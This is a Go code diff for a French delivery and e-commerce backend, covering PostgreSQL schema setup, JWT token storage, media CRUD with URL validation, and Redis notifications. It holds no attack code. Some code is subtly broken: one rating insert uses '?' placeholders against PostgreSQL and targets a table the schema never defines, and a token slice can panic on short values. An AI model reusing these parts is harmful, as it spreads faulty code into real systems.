created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||
);`,
|
||||
|
||||
// ============================
|
||||
// TABLE commandes
|
||||
// ============================
|
||||
`CREATE TABLE IF NOT EXISTS commandes (
|
||||
id SERIAL PRIMARY KEY,
|
||||
username VARCHAR(255) NOT NULL,
|
||||
status VARCHAR(50) NOT NULL DEFAULT 'pending',
|
||||
livreur_assign VARCHAR(50),
|
||||
adresse TEXT DEFAULT 'Adresse non spécifiée',
|
||||
total_prix NUMERIC(10,2) NOT NULL DEFAULT 0.0,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||
);`,
|
||||
|
||||
// ============================
|
||||
// TABLE command_items
|
||||
// ============================
|
||||
`CREATE TABLE IF NOT EXISTS command_items (
|
||||
id SERIAL PRIMARY KEY,
|
||||
command_id INTEGER NOT NULL REFERENCES commandes(id) ON DELETE CASCADE,
|
||||
produit VARCHAR(255) NOT NULL,
|
||||
product_id INTEGER REFERENCES products(id) ON DELETE SET NULL,
|
||||
quantite INTEGER NOT NULL,
|
||||
prix NUMERIC(10,2) NOT NULL,
|
||||
-- Nouvelles colonnes pour les infos client
|
||||
client_username VARCHAR(255),
|
||||
client_nom VARCHAR(100),
|
||||
client_prenom VARCHAR(100),
|
||||
client_telephone VARCHAR(20),
|
||||
delivery_address TEXT,
|
||||
status VARCHAR(50) DEFAULT 'pending',
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||
);`,
|
||||
|
||||
// ============================
|
||||
// TABLE baskets
|
||||
// ============================
|
||||
`CREATE TABLE IF NOT EXISTS baskets (
|
||||
id SERIAL PRIMARY KEY,
|
||||
username VARCHAR(255) NOT NULL,
|
||||
product_id INTEGER NOT NULL REFERENCES products(id) ON DELETE CASCADE,
|
||||
quantity INTEGER NOT NULL,
|
||||
price NUMERIC(10,2) NOT NULL,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||
);`,
|
||||
|
||||
// ============================
|
||||
// TABLE command_logs
|
||||
// ============================
|
||||
`CREATE TABLE IF NOT EXISTS command_logs (
|
||||
id SERIAL PRIMARY KEY,
|
||||
command_id INTEGER NOT NULL REFERENCES commandes(id) ON DELETE CASCADE,
|
||||
status VARCHAR(50) NOT NULL,
|
||||
message TEXT NOT NULL,
|
||||
author VARCHAR(255) NOT NULL,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||
);`,
|
||||
|
||||
// ============================
|
||||
// TABLE delivery_issues
|
||||
// ============================
|
||||
`CREATE TABLE IF NOT EXISTS delivery_issues (
|
||||
id SERIAL PRIMARY KEY,
|
||||
command_id INTEGER NOT NULL REFERENCES commandes(id) ON DELETE CASCADE,
|
||||
issue_type VARCHAR(50) NOT NULL,
|
||||
description TEXT NOT NULL,
|
||||
status VARCHAR(20) NOT NULL DEFAULT 'open',
|
||||
reported_by VARCHAR(100) NOT NULL,
|
||||
resolved_by VARCHAR(100),
|
||||
resolution TEXT,
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);`,
|
||||
|
||||
`CREATE TABLE IF NOT EXISTS alerte_policy (
|
||||
id SERIAL PRIMARY KEY,
|
||||
username VARCHAR(100) NOT NULL,
|
||||
status VARCHAR(20) NOT NULL DEFAULT 'false',
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);`,
|
||||
// ============================
|
||||
// INDEXES - ✅ AJOUT D'INDEX POUR CANCELLATIONS_COUNT
|
||||
// ============================
|
||||
`CREATE INDEX IF NOT EXISTS idx_command_items_command_id ON command_items(command_id);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_command_items_client_username ON command_items(client_username);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_command_items_status ON command_items(status);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_command_items_produit ON command_items(produit);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_clients_point_zipette ON clients(point_zipette) WHERE point_zipette > 0;`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_jwt_user_id ON jwt_tokens(user_id);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_jwt_user_type ON jwt_tokens(user_type);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_jwt_token ON jwt_tokens(token);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_jwt_date_fin ON jwt_tokens(date_fin);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_clients_telephone ON clients(telephone);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_clients_cancellations ON clients(cancellations_count);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_clients_amende ON clients(amende) WHERE amende > 0;`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_cmd_username ON commandes(username);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_cmd_status ON commandes(status);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_cmd_livreur ON commandes(livreur_assign);`,
|
||||
|
||||
`CREATE INDEX IF NOT EXISTS idx_products_category ON products(category);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_media_product_id ON media(product_id);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_price_product_id ON product_prices(product_id);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_items_command_id ON command_items(command_id);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_items_product_id ON command_items(product_id);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_baskets_username ON baskets(username);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_baskets_product_id ON baskets(product_id);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_logs_command_id ON command_logs(command_id);`,
|
||||
|
||||
`CREATE INDEX IF NOT EXISTS idx_issues_command ON delivery_issues(command_id);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_issues_status ON delivery_issues(status);`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_issues_reported_by ON delivery_issues(reported_by);`,
|
||||
}
|
||||
|
||||
for _, query := range queries {
|
||||
if _, err := db.Exec(query); err != nil {
|
||||
return fmt.Errorf("❌ Erreur SQL: %v\nRequête: %s", err, query)
|
||||
}
|
||||
}
|
||||
|
||||
log.Println("✅ Toutes les tables PostgreSQL créées avec succès.")
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// MÉTHODES POUR LES TOKENS JWT
|
||||
// ============================================
|
||||
|
||||
// CleanExpiredTokens supprime les tokens JWT expirés
|
||||
func (d *Database) CleanExpiredTokens() error {
|
||||
query := `DELETE FROM jwt_tokens WHERE date_fin < $1`
|
||||
result, err := d.Exec(query, time.Now())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
rowsAffected, _ := result.RowsAffected()
|
||||
if rowsAffected > 0 {
|
||||
log.Printf("🧹 %d token(s) expiré(s) supprimé(s)", rowsAffected)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// cleanExpiredTokensPeriodically nettoie les tokens expirés toutes les heures
|
||||
func (db *Database) cleanExpiredTokensPeriodically() {
|
||||
ticker := time.NewTicker(1 * time.Hour)
|
||||
defer ticker.Stop()
|
||||
|
||||
for range ticker.C {
|
||||
if err := db.CleanExpiredTokens(); err != nil {
|
||||
log.Printf("⚠️ Erreur lors du nettoyage des tokens: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// getEnv récupère une variable d'environnement ou retourne une valeur par défaut
|
||||
func getEnv(key, defaultValue string) string {
|
||||
if value := os.Getenv(key); value != "" {
|
||||
return value
|
||||
}
|
||||
return defaultValue
|
||||
}
|
||||
@@ -0,0 +1,167 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
func (d *Database) SaveToken(userID int, userType string, token string, expiresAt time.Time) error {
|
||||
// Valider le user_type
|
||||
validTypes := map[string]bool{
|
||||
"client": true,
|
||||
"admin": true,
|
||||
"cabine": true,
|
||||
"livreur": true,
|
||||
}
|
||||
|
||||
if !validTypes[userType] {
|
||||
return fmt.Errorf("type d'utilisateur invalide: %s", userType)
|
||||
}
|
||||
|
||||
query := `INSERT INTO jwt_tokens (user_id, user_type, token, date_save, date_fin)
|
||||
VALUES ($1, $2, $3, CURRENT_TIMESTAMP, $4)`
|
||||
|
||||
_, err := d.Exec(query, userID, userType, token, expiresAt)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de l'enregistrement du token: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ Token enregistré pour %s ID: %d", userType, userID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// IsTokenValid vérifie si un token existe et n'est pas expiré
|
||||
func (d *Database) IsTokenValid(token string) (bool, error) {
|
||||
query := `SELECT COUNT(*) FROM jwt_tokens
|
||||
WHERE token = $1 AND date_fin > $2`
|
||||
|
||||
var count int
|
||||
err := d.QueryRow(query, token, time.Now()).Scan(&count)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("erreur lors de la vérification du token: %w", err)
|
||||
}
|
||||
|
||||
return count > 0, nil
|
||||
}
|
||||
|
||||
// RevokeToken révoque un token (le supprime de la base)
|
||||
func (d *Database) RevokeToken(token string) error {
|
||||
query := `DELETE FROM jwt_tokens WHERE token = $1`
|
||||
|
||||
result, err := d.Exec(query, token)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la révocation du token: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, _ := result.RowsAffected()
|
||||
if rowsAffected > 0 {
|
||||
log.Printf("✅ Token révoqué avec succès")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// RevokeAllUserTokens révoque tous les tokens d'un utilisateur
|
||||
func (d *Database) RevokeAllUserTokens(userID int, userType string) error {
|
||||
query := `DELETE FROM jwt_tokens WHERE user_id = $1 AND user_type = $2`
|
||||
|
||||
result, err := d.Exec(query, userID, userType)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la révocation des tokens: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, _ := result.RowsAffected()
|
||||
log.Printf("✅ %d token(s) révoqué(s) pour %s ID: %d", rowsAffected, userType, userID)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetUserActiveTokens récupère tous les tokens actifs d'un utilisateur
|
||||
func (d *Database) GetUserActiveTokens(userID int, userType string) ([]map[string]interface{}, error) {
|
||||
query := `SELECT id, token, date_save, date_fin
|
||||
FROM jwt_tokens
|
||||
WHERE user_id = $1 AND user_type = $2 AND date_fin > $3
|
||||
ORDER BY date_save DESC`
|
||||
|
||||
rows, err := d.Query(query, userID, userType, time.Now())
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la récupération des tokens: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var tokens []map[string]interface{}
|
||||
for rows.Next() {
|
||||
var id int
|
||||
var token string
|
||||
var dateSave, dateFin time.Time
|
||||
|
||||
err := rows.Scan(&id, &token, &dateSave, &dateFin)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors du scan: %w", err)
|
||||
}
|
||||
|
||||
tokens = append(tokens, map[string]interface{}{
|
||||
"id": id,
|
||||
"token": token[:20] + "...", // Tronquer pour la sécurité
|
||||
"date_save": dateSave,
|
||||
"date_fin": dateFin,
|
||||
"user_type": userType,
|
||||
})
|
||||
}
|
||||
|
||||
return tokens, nil
|
||||
}
|
||||
|
||||
func (d *Database) GetTokenInfo(token string) (map[string]interface{}, error) {
|
||||
query := `SELECT user_id, user_type, date_save, date_fin
|
||||
FROM jwt_tokens
|
||||
WHERE token = $1 AND date_fin > $2`
|
||||
|
||||
var userID int
|
||||
var userType string
|
||||
var dateSave, dateFin time.Time
|
||||
|
||||
err := d.QueryRow(query, token, time.Now()).Scan(&userID, &userType, &dateSave, &dateFin)
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, fmt.Errorf("token non trouvé ou expiré")
|
||||
}
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la récupération des infos du token: %w", err)
|
||||
}
|
||||
|
||||
tokenInfo := map[string]interface{}{
|
||||
"user_id": userID,
|
||||
"user_type": userType,
|
||||
"date_save": dateSave,
|
||||
"date_fin": dateFin,
|
||||
}
|
||||
|
||||
return tokenInfo, nil
|
||||
}
|
||||
|
||||
func (d *Database) CountActiveTokensByType() (map[string]int, error) {
|
||||
query := `SELECT user_type, COUNT(*) as count
|
||||
FROM jwt_tokens
|
||||
WHERE date_fin > $1
|
||||
GROUP BY user_type`
|
||||
|
||||
rows, err := d.Query(query, time.Now())
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors du comptage des tokens: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
counts := make(map[string]int)
|
||||
for rows.Next() {
|
||||
var userType string
|
||||
var count int
|
||||
if err := rows.Scan(&userType, &count); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
counts[userType] = count
|
||||
}
|
||||
|
||||
return counts, nil
|
||||
}
|
||||
@@ -0,0 +1,420 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// VALIDATION HELPERS
|
||||
// ============================================
|
||||
|
||||
// validateMediaID vérifie la validité d'un ID média
|
||||
func validateMediaID(mediaID int) error {
|
||||
if mediaID <= 0 {
|
||||
return fmt.Errorf("ID média invalide: %d", mediaID)
|
||||
}
|
||||
if mediaID > 2147483647 { // Max int32
|
||||
return fmt.Errorf("ID média trop grand")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// validateProductID vérifie la validité d'un ID produit
|
||||
func validateProductID(productID int) error {
|
||||
if productID <= 0 {
|
||||
return fmt.Errorf("ID produit invalide: %d", productID)
|
||||
}
|
||||
if productID > 2147483647 {
|
||||
return fmt.Errorf("ID produit trop grand")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// validateMediaType vérifie le type de média
|
||||
func validateMediaType(mediaType string) error {
|
||||
validTypes := []string{"image", "video"}
|
||||
|
||||
mediaType = strings.ToLower(strings.TrimSpace(mediaType))
|
||||
|
||||
for _, valid := range validTypes {
|
||||
if mediaType == valid {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
return fmt.Errorf("type de média invalide: %s (autorisé: image, video)", mediaType)
|
||||
}
|
||||
|
||||
// validateMediaURL vérifie la sécurité de l'URL
|
||||
func validateMediaURL(url string) error {
|
||||
if len(url) == 0 {
|
||||
return fmt.Errorf("URL vide")
|
||||
}
|
||||
|
||||
if len(url) > 500 {
|
||||
return fmt.Errorf("URL trop longue (max 500 caractères)")
|
||||
}
|
||||
|
||||
// ✅ PROTECTION PATH TRAVERSAL
|
||||
if strings.Contains(url, "..") {
|
||||
return fmt.Errorf("path traversal détecté dans l'URL")
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER QUE L'URL COMMENCE PAR /uploads/
|
||||
if !strings.HasPrefix(url, "/uploads/") {
|
||||
return fmt.Errorf("URL doit commencer par /uploads/")
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER QU'IL N'Y A PAS DE CARACTÈRES DANGEREUX
|
||||
dangerousChars := []string{
|
||||
"<", ">", "\"", "'", ";", "|", "&", "$", "`", "\\",
|
||||
}
|
||||
|
||||
for _, char := range dangerousChars {
|
||||
if strings.Contains(url, char) {
|
||||
return fmt.Errorf("caractères interdits dans l'URL")
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// CREATE MEDIA - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func (db *Database) CreateMedia(media interface{}) error {
|
||||
log.Printf("🔒 [CreateMedia] START - Type: %T", media)
|
||||
|
||||
type MediaInterface interface {
|
||||
GetProductID() int
|
||||
GetType() string
|
||||
GetURL() string
|
||||
SetID(int)
|
||||
}
|
||||
|
||||
// ✅ TYPE ASSERTION SÉCURISÉE
|
||||
m, ok := media.(MediaInterface)
|
||||
if !ok {
|
||||
// Vérifier si c'est un pointeur vers models.Media
|
||||
if mediaPtr, isPtr := media.(*models.Media); isPtr {
|
||||
m = mediaPtr
|
||||
ok = true
|
||||
} else {
|
||||
log.Printf("❌ [CreateMedia] Type invalide: %T", media)
|
||||
return fmt.Errorf("type de média invalide: reçu %T", media)
|
||||
}
|
||||
}
|
||||
|
||||
if !ok {
|
||||
return fmt.Errorf("type de média invalide")
|
||||
}
|
||||
|
||||
// ✅ VALIDATION COMPLÈTE
|
||||
productID := m.GetProductID()
|
||||
mediaType := m.GetType()
|
||||
mediaURL := m.GetURL()
|
||||
|
||||
log.Printf("📋 [CreateMedia] ProductID=%d, Type=%s, URL=%s", productID, mediaType, mediaURL)
|
||||
|
||||
// Valider le product ID
|
||||
if err := validateProductID(productID); err != nil {
|
||||
log.Printf("❌ [CreateMedia] %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
// Valider le type
|
||||
if err := validateMediaType(mediaType); err != nil {
|
||||
log.Printf("❌ [CreateMedia] %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
// Valider l'URL
|
||||
if err := validateMediaURL(mediaURL); err != nil {
|
||||
log.Printf("❌ [CreateMedia] %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER QUE LE PRODUIT EXISTE
|
||||
var exists bool
|
||||
checkQuery := `SELECT EXISTS(SELECT 1 FROM products WHERE id = $1)`
|
||||
err := db.QueryRow(checkQuery, productID).Scan(&exists)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CreateMedia] Erreur vérification produit: %v", err)
|
||||
return fmt.Errorf("erreur vérification produit: %w", err)
|
||||
}
|
||||
if !exists {
|
||||
log.Printf("❌ [CreateMedia] Produit %d n'existe pas", productID)
|
||||
return fmt.Errorf("produit %d n'existe pas", productID)
|
||||
}
|
||||
|
||||
// ✅ INSÉRER LE MÉDIA
|
||||
query := `INSERT INTO media (product_id, url, type, created_at)
|
||||
VALUES ($1, $2, $3, $4) RETURNING id`
|
||||
|
||||
var mediaID int
|
||||
now := time.Now()
|
||||
|
||||
err = db.QueryRow(query, productID, mediaURL, mediaType, now).Scan(&mediaID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CreateMedia] Erreur INSERT: %v", err)
|
||||
return fmt.Errorf("erreur création média: %w", err)
|
||||
}
|
||||
|
||||
m.SetID(mediaID)
|
||||
log.Printf("✅ [CreateMedia] Média créé: ID=%d, Type=%s", mediaID, mediaType)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// GET MEDIA BY ID - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func (db *Database) GetMediaByID(mediaID int) (*models.Media, error) {
|
||||
log.Printf("🔍 [GetMediaByID] START - ID=%d", mediaID)
|
||||
|
||||
// ✅ VALIDATION
|
||||
if err := validateMediaID(mediaID); err != nil {
|
||||
log.Printf("❌ [GetMediaByID] %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var media models.Media
|
||||
|
||||
query := `SELECT id, product_id, url, type, created_at
|
||||
FROM media
|
||||
WHERE id = $1`
|
||||
|
||||
err := db.QueryRow(query, mediaID).Scan(
|
||||
&media.ID,
|
||||
&media.ProductID,
|
||||
&media.URL,
|
||||
&media.Type,
|
||||
&media.CreatedAt,
|
||||
)
|
||||
|
||||
if err == sql.ErrNoRows {
|
||||
log.Printf("❌ [GetMediaByID] Média %d non trouvé", mediaID)
|
||||
return nil, fmt.Errorf("média non trouvé")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetMediaByID] Erreur query: %v", err)
|
||||
return nil, fmt.Errorf("erreur récupération média: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ [GetMediaByID] Média trouvé: Type=%s", media.Type)
|
||||
|
||||
return &media, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// GET MEDIA BY PRODUCT ID - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func (db *Database) GetMediaByProductID(productID int) ([]models.Media, error) {
|
||||
log.Printf("🖼️ [GetMediaByProductID] START - ProductID=%d", productID)
|
||||
|
||||
// ✅ VALIDATION
|
||||
if err := validateProductID(productID); err != nil {
|
||||
log.Printf("❌ [GetMediaByProductID] %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
query := `SELECT id, product_id, url, type, created_at
|
||||
FROM media
|
||||
WHERE product_id = $1
|
||||
ORDER BY id ASC`
|
||||
|
||||
rows, err := db.Query(query, productID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetMediaByProductID] Erreur query: %v", err)
|
||||
return nil, fmt.Errorf("erreur récupération médias: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var mediaList []models.Media
|
||||
|
||||
for rows.Next() {
|
||||
var media models.Media
|
||||
|
||||
if err := rows.Scan(
|
||||
&media.ID,
|
||||
&media.ProductID,
|
||||
&media.URL,
|
||||
&media.Type,
|
||||
&media.CreatedAt,
|
||||
); err != nil {
|
||||
log.Printf("❌ [GetMediaByProductID] Erreur scan: %v", err)
|
||||
return nil, fmt.Errorf("erreur scan média: %w", err)
|
||||
}
|
||||
|
||||
log.Printf(" 🖼️ Media: ID=%d, Type=%s", media.ID, media.Type)
|
||||
mediaList = append(mediaList, media)
|
||||
}
|
||||
|
||||
if err = rows.Err(); err != nil {
|
||||
log.Printf("❌ [GetMediaByProductID] Erreur iteration: %v", err)
|
||||
return nil, fmt.Errorf("erreur itération médias: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ [GetMediaByProductID] %d médias trouvés", len(mediaList))
|
||||
|
||||
return mediaList, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// UPDATE MEDIA - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func (db *Database) UpdateMedia(media *models.Media) error {
|
||||
log.Printf("🔄 [UpdateMedia] START - ID=%d", media.ID)
|
||||
|
||||
// ✅ VALIDATION
|
||||
if media == nil {
|
||||
return fmt.Errorf("média nil")
|
||||
}
|
||||
|
||||
if err := validateMediaID(media.ID); err != nil {
|
||||
log.Printf("❌ [UpdateMedia] %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
if err := validateMediaType(media.Type); err != nil {
|
||||
log.Printf("❌ [UpdateMedia] %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
if err := validateMediaURL(media.URL); err != nil {
|
||||
log.Printf("❌ [UpdateMedia] %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER QUE LE MÉDIA EXISTE
|
||||
var exists bool
|
||||
checkQuery := `SELECT EXISTS(SELECT 1 FROM media WHERE id = $1)`
|
||||
err := db.QueryRow(checkQuery, media.ID).Scan(&exists)
|
||||
if err != nil {
|
||||
log.Printf("❌ [UpdateMedia] Erreur vérification: %v", err)
|
||||
return fmt.Errorf("erreur vérification média: %w", err)
|
||||
}
|
||||
if !exists {
|
||||
log.Printf("❌ [UpdateMedia] Média %d n'existe pas", media.ID)
|
||||
return fmt.Errorf("média %d non trouvé", media.ID)
|
||||
}
|
||||
|
||||
// ✅ UPDATE
|
||||
query := `UPDATE media
|
||||
SET url = $1, type = $2
|
||||
WHERE id = $3`
|
||||
|
||||
result, err := db.Exec(query, media.URL, media.Type, media.ID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [UpdateMedia] Erreur UPDATE: %v", err)
|
||||
return fmt.Errorf("erreur mise à jour média: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, _ := result.RowsAffected()
|
||||
if rowsAffected == 0 {
|
||||
log.Printf("❌ [UpdateMedia] Aucune ligne affectée")
|
||||
return fmt.Errorf("média non trouvé")
|
||||
}
|
||||
|
||||
log.Printf("✅ [UpdateMedia] Média %d mis à jour", media.ID)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// DELETE MEDIA - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func (db *Database) DeleteMedia(mediaID int) error {
|
||||
log.Printf("🗑️ [DeleteMedia] START - ID=%d", mediaID)
|
||||
|
||||
// ✅ VALIDATION
|
||||
if err := validateMediaID(mediaID); err != nil {
|
||||
log.Printf("❌ [DeleteMedia] %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER QUE LE MÉDIA EXISTE
|
||||
var exists bool
|
||||
checkQuery := `SELECT EXISTS(SELECT 1 FROM media WHERE id = $1)`
|
||||
err := db.QueryRow(checkQuery, mediaID).Scan(&exists)
|
||||
if err != nil {
|
||||
log.Printf("❌ [DeleteMedia] Erreur vérification: %v", err)
|
||||
return fmt.Errorf("erreur vérification média: %w", err)
|
||||
}
|
||||
if !exists {
|
||||
log.Printf("❌ [DeleteMedia] Média %d n'existe pas", mediaID)
|
||||
return fmt.Errorf("média %d non trouvé", mediaID)
|
||||
}
|
||||
|
||||
// ✅ DELETE
|
||||
query := `DELETE FROM media WHERE id = $1`
|
||||
|
||||
result, err := db.Exec(query, mediaID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [DeleteMedia] Erreur DELETE: %v", err)
|
||||
return fmt.Errorf("erreur suppression média: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, _ := result.RowsAffected()
|
||||
if rowsAffected == 0 {
|
||||
log.Printf("❌ [DeleteMedia] Aucune ligne affectée")
|
||||
return fmt.Errorf("média non trouvé")
|
||||
}
|
||||
|
||||
log.Printf("✅ [DeleteMedia] Média %d supprimé", mediaID)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// DELETE MEDIA BY PRODUCT ID - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func (db *Database) DeleteMediaByProductID(productID int) error {
|
||||
log.Printf("🗑️ [DeleteMediaByProductID] START - ProductID=%d", productID)
|
||||
|
||||
// ✅ VALIDATION
|
||||
if err := validateProductID(productID); err != nil {
|
||||
log.Printf("❌ [DeleteMediaByProductID] %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER QUE LE PRODUIT EXISTE
|
||||
var exists bool
|
||||
checkQuery := `SELECT EXISTS(SELECT 1 FROM products WHERE id = $1)`
|
||||
err := db.QueryRow(checkQuery, productID).Scan(&exists)
|
||||
if err != nil {
|
||||
log.Printf("❌ [DeleteMediaByProductID] Erreur vérification: %v", err)
|
||||
return fmt.Errorf("erreur vérification produit: %w", err)
|
||||
}
|
||||
if !exists {
|
||||
log.Printf("❌ [DeleteMediaByProductID] Produit %d n'existe pas", productID)
|
||||
return fmt.Errorf("produit %d non trouvé", productID)
|
||||
}
|
||||
|
||||
// ✅ DELETE
|
||||
query := `DELETE FROM media WHERE product_id = $1`
|
||||
|
||||
result, err := db.Exec(query, productID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [DeleteMediaByProductID] Erreur DELETE: %v", err)
|
||||
return fmt.Errorf("erreur suppression médias: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, _ := result.RowsAffected()
|
||||
log.Printf("✅ [DeleteMediaByProductID] %d média(s) supprimé(s) pour produit %d",
|
||||
rowsAffected, productID)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
func (d *Database) NotifyClient(username string, commandID int, notifType, message string) error {
|
||||
// Sauvegarder la notification dans Redis
|
||||
notifKey := fmt.Sprintf("notifications:%s", username)
|
||||
|
||||
notification := map[string]interface{}{
|
||||
"command_id": commandID,
|
||||
"type": notifType,
|
||||
"message": message,
|
||||
"created_at": time.Now().Format(time.RFC3339),
|
||||
"read": false,
|
||||
}
|
||||
|
||||
notifJSON, _ := json.Marshal(notification)
|
||||
Redis.LPush(RedisCtx, notifKey, notifJSON)
|
||||
Redis.Expire(RedisCtx, notifKey, 7*24*time.Hour) // Expire après 7 jours
|
||||
|
||||
log.Printf("📬 Notification envoyée à %s: %s", username, message)
|
||||
return nil
|
||||
}
|
||||
|
||||
// AddDeliveryRating ajoute une note pour un livreur
|
||||
func (d *Database) AddDeliveryRating(livreurUsername string, commandID, rating int, comment string) error {
|
||||
query := `
|
||||
INSERT INTO delivery_ratings (livreur_username, command_id, rating, comment, created_at)
|
||||
VALUES (?, ?, ?, ?, NOW())
|
||||
`
|
||||
_, err := d.Exec(query, livreurUsername, commandID, rating, comment)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Erreur sauvegarde note livreur: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
log.Printf("⭐ Note %d/5 ajoutée pour livreur %s (commande %d)", rating, livreurUsername, commandID)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,256 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
// CreateProduct crée un nouveau produit avec ses prix
|
||||
func (db *Database) CreateProduct(product interface{}) error {
|
||||
